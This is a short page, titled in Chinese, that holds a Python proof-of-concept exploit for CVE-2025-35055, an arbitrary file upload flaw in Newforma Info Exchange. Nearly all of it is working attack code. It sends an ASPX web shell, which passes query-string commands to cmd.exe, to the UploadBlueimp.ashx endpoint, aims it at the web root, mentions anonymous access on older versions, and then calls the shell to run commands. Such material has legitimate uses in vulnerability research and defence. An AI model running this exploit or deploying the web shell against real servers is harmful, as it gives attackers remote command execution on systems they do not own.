CVE-2025-35055：Newforma Info Exchange任意文件上传漏洞

# CVE-2025-35055 - Newforma Info Exchange Arbitrary File Upload PoC # Exploits /UserWeb/Common/UploadBlueimp.ashx for arbitrary file upload import requests TARGET_URL = "https://target-nix-server" UPLOAD_ENDPOINT = "/UserWeb/Common/UploadBlueimp.ashx" # Step 1: Authenticate (or leverage anonymous access in pre-2023.1 versions) session = requests.Session() # For pre-2023.1 versions, anonymous access may be enabled by default # Otherwise, authenticate with valid credentials login_url = f"{TARGET_URL}/UserWeb/" # session.post(login_url, data={"username": "anonymous", "password": ""}) # Step 2: Prepare malicious ASPX web shell payload web_shell_content = b"""<%@ Page Language="C#" %> <%@ Import Namespace="System.Diagnostics" %> <script runat="server"> protected void Page_Load(object sender, EventArgs e) { string cmd = Request.QueryString["cmd"]; if (!string.IsNullOrEmpty(cmd)) { Process p = new Process(); p.StartInfo.FileName = "cmd.exe"; p.StartInfo.Arguments = "/c " + cmd; p.StartInfo.RedirectStandardOutput = true; p.StartInfo.UseShellExecute = false; p.Start(); Response.Write("<pre>" + p.StandardOutput.ReadToEnd() + "</pre>"); } } </script>""" # Step 3: Upload web shell via the vulnerable endpoint files = { "files[]": ("cmd.aspx", web_shell_content, "application/octet-stream") } # The endpoint may accept a custom path parameter for arbitrary write location data = { "target_dir": "/", # Attempt to write to web root } upload_url = f"{TARGET_URL}{UPLOAD_ENDPOINT}" response = session.post(upload_url, files=files, data=data) print(f"Upload response: {response.status_code}") print(response.text) # Step 4: Access the deployed web shell shell_url = f"{TARGET_URL}/cmd.aspx?cmd=whoami" shell_response = session.get(shell_url) print(f"Shell output: {shell_response.text}")